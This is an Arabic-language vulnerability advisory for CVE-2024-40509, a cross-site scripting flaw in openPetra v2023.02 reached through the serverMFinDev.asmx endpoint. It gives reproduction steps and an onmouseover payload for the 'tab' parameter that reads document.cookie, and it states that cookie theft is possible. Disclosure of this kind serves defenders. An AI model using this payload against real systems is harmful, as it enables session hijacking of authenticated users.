CVE-2024-40509

ثغرة Cross Site Scripting في openPetra v.2023.02 عبر دالة serverMFinDev.asmx

الوصف: يمكن لمستخدم غير مصادق سرقة ملفات تعريف الارتباط من مستخدم مصادق، عن طريق استغلال ثغرة XSS في openPetra الإصدار 2023.02 عبر دالة serverMFinDev.asmx.

إصدار المنتج المعرض للخطر: openPetra v.2023.02
مؤلف CVE: Jansen Moreira
التاريخ: 13/07/2024
CVE: CVE-2024-40509
رابط CVE: https://www.cve.org/CVERecord?id=CVE-2024-40509
رابط NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40509
رابط Tenable: https://www.tenable.com/cve/CVE-2024-40509
تم التأكيد في: 13/07/2024
تم الاختبار على: Linux

خطوات إعادة الإنتاج:

1- الوصول إلى الصفحة الرئيسية
2- استخدام المسار التالي وإضافة حمولة XSS في معامل tab. مثال:
http://target.com/api/serverMFinDev.asmx?bnd=TMFinDevWebServiceSoap&op=TFinDevWebConnector_Dummy&page=op&tab=x"
3- تحريك الماوس فوق العنصر الأيسر في الفهرس لتشغيل XSS

الحمولات:
tab: x" onmouseover=alert(document.cookie) x=""

المكتشف(ون)/الاعتمادات: Jansen Moreira